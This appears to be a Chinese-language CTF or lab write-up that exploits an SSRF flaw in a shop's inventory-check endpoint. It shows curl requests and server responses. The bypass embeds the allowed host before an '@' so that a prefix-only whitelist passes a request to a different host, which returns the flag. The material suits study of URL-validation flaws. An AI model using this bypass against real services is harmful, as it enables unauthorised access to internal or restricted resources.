发现 SSRF 入口点

在购买商品时，注意到 check_inventory.php 接口的请求体中包含 inventoryUrl 字段：

{
  "inventoryUrl": "http://shop.ulab.com/stock.php?productId=1"
}

服务端返回了该 URL 的响应内容。这说明服务端会根据用户提供的 URL 发起请求，这是典型的 SSRF 特征。

测试 SSRF 校验规则

题目提示 flag 在 http://ssrf.bdziyi.com/flag，先尝试直接访问：

curl -X POST "http://ulab.bdziyi.cn:21344/api/check_inventory.php" \
  -H "Content-Type: application/json" \
  -d '{"inventoryUrl":"http://ssrf.bdziyi.com/flag"}'

返回：

{"success":false,"status":0,"body":"","message":"库存查询仅允许访问 shop.ulab.com。"}

说明存在 host 白名单限制，只允许访问 shop.ulab.com。

再测试正常地址是否能通：

curl -X POST "http://ulab.bdziyi.cn:21344/api/check_inventory.php" \
  -H "Content-Type: application/json" \
  -d '{"inventoryUrl":"http://shop.ulab.com/stock.php?productId=1"}'

返回正常库存数据，确认 SSRF 功能可用，只是被 host 校验拦住了。

逐步探测校验机制

开始测试各种绕过方式，通过黑盒观察报错信息来推断校验逻辑：

测试 1：修改 host

http://evil.com/
→ "库存查询仅允许访问 shop.ulab.com。"

测试 2：尝试 @ 符号（URL userinfo）

URL 标准中 http://user@host/path 的 user 是认证信息，@ 后才是真实 host。但如果校验只是检查字符串前缀而非提取 host，就可能被绕过：

curl -X POST "http://ulab.bdziyi.cn:21344/api/check_inventory.php" \
  -H "Content-Type: application/json" \
  -d '{"inventoryUrl":"http://shop.ulab.com@ssrf.bdziyi.com/flag"}'

返回：

{
  "success": true,
  "status": 200,
  "body": "flag{137860ec-2dbc-4c1e-9ace-d9f650c4636b}",
  "message": ""
}

成功拿到 flag。

Step 5：理解绕过原理

构造的 URL 是 http://shop.ulab.com@ssrf.bdziyi.com/flag：

• 字符串以 http://shop.ulab.com 开头 → 通过了服务端的前缀匹配校验

• 但在 URL 标准中，@ 前的 shop.ulab.com 是用户名（userinfo），@ 后的 ssrf.bdziyi.com 才是真实目标主机

• 服务端发起请求时实际访问的是 ssrf.bdziyi.com，绕过了白名单限制

这说明服务端的校验只是简单的字符串前缀匹配，没有真正解析 URL 提取 host 进行验证。